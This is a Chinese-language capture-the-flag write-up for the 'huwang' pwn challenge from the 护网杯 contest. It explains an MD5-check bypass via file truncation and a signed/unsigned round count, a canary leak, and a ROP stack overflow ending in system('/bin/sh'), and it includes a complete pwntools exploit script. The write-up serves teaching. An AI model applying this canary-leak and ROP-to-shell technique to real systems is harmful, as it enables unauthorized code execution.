huwang超详细的wp(护网杯)

护网杯pwn题huwang超详细wp

比赛结束快一个星期了,复现了一下这道题,借鉴了一下网上的wp发现大佬们写的都很简略,所以这里写一个详细的wp供小白们学习。


首发于安恒网络空间安全讲武微信公众号


简单记录一些小的知识点

来自于csapp: int open(char *filename,int flags,modet mode)这里主要关注flags参数 

这里我们将会用到的参数是OTRUNC

程序逻辑分析

main函数

大致分析一下可以发现程序需要我们输入选项,类似于一个堆的功能。然后如果我们输入666就会进入一个比较重要的函数,我这里将其改名成了important。

important函数

这个函数是让我们输入一个值,会作为文件secret中字符串进行md5加密的次数。然后再让我们输入一个字符串与加密的secret字符串进行对比如果成立那么就进入下一个函数,我这里把他命名为了exploit。

exploit函数

它会先打印出我们在important函数中输入的name(可以leak出canary),然后调用snprintf函数(tips:snprintf函数的返回值是我们输入的字符串的长度),然后下面有一个read函数,read的长度参数是由我们控制的(见上面tips的内容),这里我们就可以进行栈溢出。

解题思路分析

大概的想法就是先进入important函数,再进入exploit函数利用栈溢出getshell

一、绕过important函数中的md5加密

上面的小知识里讲了read函数的参数问题,这里看下文件的read参数flag处为553(这里有一个坑的一点,我之前一直不明白,ida是把OWRONLY | OTRUNC进行了抑或后的结果直接显示出来了513,不过可能看客大佬们的ida可能会显示011000这个表示的意思是一样的。)

因为次数是一个int类型可以包含负数,而在对比中第一次和其对比的是int类型而第二次其对比的是个unsignedint类型,只要我们输入-1那么和unsignedint进行对比时会转化为很大的一个数,程序会运行一段时间。这个时候我们开启第二段进程,读取已经被读取的文件secret的时候就会读到'\0'(文件被截断),然后我们再次输入'\0'的md5加密后的字符串就可以成功绕过进入下一个函数了。

二、exploit函数中栈溢出的利用

第一步我们先泄漏处canary的值,具体就是利用第一个printf泄漏处canary,然后利用snprintf输入我们的长度(长度没有限制,只要够我们放我们的rop就可以了)。然后就是很常规的栈溢出,泄漏地址(给了我们libc文件)直接计算偏移,然后利用rop拿到shell

wp

from pwn import*
from time import sleep

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
p1 = process('./huwang')
libc = ELF('./huwang')


def secret1(name,pay):
	p1.recvuntil('command>> \n')
	p1.sendline('666')
	p1.sendafter('please input your name\n',name)
	p1.recvuntil('Do you want to guess the secret?\n')
	p1.sendline('y')
	p1.sendafter('Input how many rounds do you want to encrypt the secret:\n',str(pay))
def secret2(name,pay,secret):
	p2.recvuntil('command>> \n')
	p2.sendline('666')
	p2.sendafter('please input your name\n',name)
	p2.recvuntil('Do you want to guess the secret?\n')
	p2.sendline('y')
	p2.recvuntil('Input how many rounds do you want to encrypt the secret:\n')
	p2.sendline(str(pay))
	p2.recvuntil('Try to guess the md5 of the secret\n')
	p2.send(secret)
if __name__ == '__main__':
	pop_rdi = 0x0000000000401573
	puts_got = 0x602F70
	ret_print = 0x40101C
	secret1("name",-1)
	p2 = process('./huwang', env = {'LD_PRELOAD' : './libc.so.6'})
	libc = ELF('./libc.so.6')
	secret2('a'*25,1,flat(0xbff94be43613e74a, 0xa51848232e75d279))
	p2.recvuntil('a'*25)
	canary = u64('\x00'+p2.recvn(7))
	payload = 'a'*0x108+p64(canary)+p64(0)+p64(pop_rdi) + p64(puts_got) +p64(ret_print)
	p2.recvuntil("What`s your occupation?\n")
	p2.send('a'*0xf0+'\n')
	gdb.attach(p2)
	p2.recvuntil("[Y/N]\n")
	p2.sendline('Y')
	sleep(0.01)
	p2.sendline(payload)
	p2.recvuntil("Congratulations, ")
	libc_addr = u64(p2.recvn(6)+ 2 * '\x00') - libc.symbols['puts']
	payload1 = 'a'*0x108 + p64(canary) + p64(0)+ p64(pop_rdi) + p64(next(libc.search('/bin/sh'))+libc_addr) +p64(libc.symbols['system']+libc_addr)
	p2.recvuntil("What`s your occupation?\n")
	p2.send('a'*0xff)
	p2.recvuntil("[Y/N]\n")
	p2.sendline('Y')
	p2.sendline(payload1)  
	p2.interactive()

总结

题目一路坐下来可以感觉pwn对计算机系统的了解程度还是很高的,不然都不知道md5可以这么绕过。

猜你喜欢

转载自blog.csdn.net/w12315q/article/details/83119560